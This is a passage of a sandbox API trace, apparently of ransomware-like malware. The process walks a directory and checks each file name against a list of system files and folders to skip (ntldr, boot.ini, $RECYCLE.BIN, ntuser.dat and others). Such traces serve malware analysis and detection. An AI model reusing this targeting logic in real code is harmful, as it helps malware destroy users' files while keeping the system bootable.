lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll", lpUsedDefaultChar=0x0) returned 10 [0100.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll", lpUsedDefaultChar=0x0) returned 10 [0100.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll", lpUsedDefaultChar=0x0) returned 10 [0100.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll", lpUsedDefaultChar=0x0) returned 10 [0100.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0100.844] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="..") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="...") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="windows") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="rsa") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="NTDETECT.COM") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="ntldr") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="MSDOS.SYS") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="IO.SYS") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="boot.ini") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="boot.ini") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="ntuser.dat") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="desktop.ini") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="CONFIG.SYS") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="RECYCLER") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="bootmgr") returned 1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="programdata") returned -1 [0100.844] lstrcmpiW (lpString1="jnwppr.dll", lpString2="appdata") returned 1 [0100.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwppr.dll", lpUsedDefaultChar=0x0) returned 10 [0100.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwppr.dll", lpUsedDefaultChar=0x0) returned 10 [0100.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwppr.dll", lpUsedDefaultChar=0x0) returned 10 [0100.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwppr.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwppr.dll", lpUsedDefaultChar=0x0) returned 10 [0100.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0100.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.845] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2=".") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="..") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="...") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="windows") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="$RECYCLE.BIN") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="rsa") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="NTDETECT.COM") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="ntldr") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="MSDOS.SYS") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="IO.SYS") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="boot.ini") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="boot.ini") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="AUTOEXEC.BAT") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="ntuser.dat") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="desktop.ini") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="CONFIG.SYS") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="RECYCLER") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="BOOTSECT.BAK") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="bootmgr") returned 1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="programdata") returned -1 [0100.845] lstrcmpiW (lpString1="Journal.exe", lpString2="appdata") returned 1 [0100.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe", lpUsedDefaultChar=0x0) returned 11 [0100.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe", lpUsedDefaultChar=0x0) returned 11 [0100.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe", lpUsedDefaultChar=0x0) returned 11 [0100.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal.exe", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal.exe", lpUsedDefaultChar=0x0) returned 11 [0100.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0100.846] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="..") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="...") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="windows") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="$RECYCLE.BIN") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="rsa") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="NTDETECT.COM") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="ntldr") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="MSDOS.SYS") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="IO.SYS") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="boot.ini") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="boot.ini") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="AUTOEXEC.BAT") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="ntuser.dat") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="desktop.ini") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="CONFIG.SYS") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="RECYCLER") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="BOOTSECT.BAK") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="bootmgr") returned 1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="programdata") returned -1 [0100.846] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="appdata") returned 1 [0100.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL", lpUsedDefaultChar=0x0) returned 12 [0100.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL", lpUsedDefaultChar=0x0) returned 12 [0100.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL", lpUsedDefaultChar=0x0) returned 12 [0100.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSPVWCTL.DLL", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSPVWCTL.DLL", lpUsedDefaultChar=0x0) returned 12 [0100.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0100.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.847] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="..") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="...") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="windows") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="$RECYCLE.BIN") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="rsa") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="NTDETECT.COM") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="ntldr") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="MSDOS.SYS") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="IO.SYS") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="boot.ini") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="boot.ini") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="AUTOEXEC.BAT") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="ntuser.dat") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="desktop.ini") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="CONFIG.SYS") returned 1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="RECYCLER") returned -1 [0100.847] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="BOOTSECT.BAK") returned 1 [0100.848] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="bootmgr") returned 1 [0100.848] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="programdata") returned -1 [0100.848] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="appdata") returned 1 [0100.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBDoc.DLL", lpUsedDefaultChar=0x0) returned 9 [0100.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBDoc.DLL", lpUsedDefaultChar=0x0) returned 9 [0100.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBDoc.DLL", lpUsedDefaultChar=0x0) returned 9 [0100.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBDoc.DLL", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBDoc.DLL", lpUsedDefaultChar=0x0) returned 9 [0100.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0100.848] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", 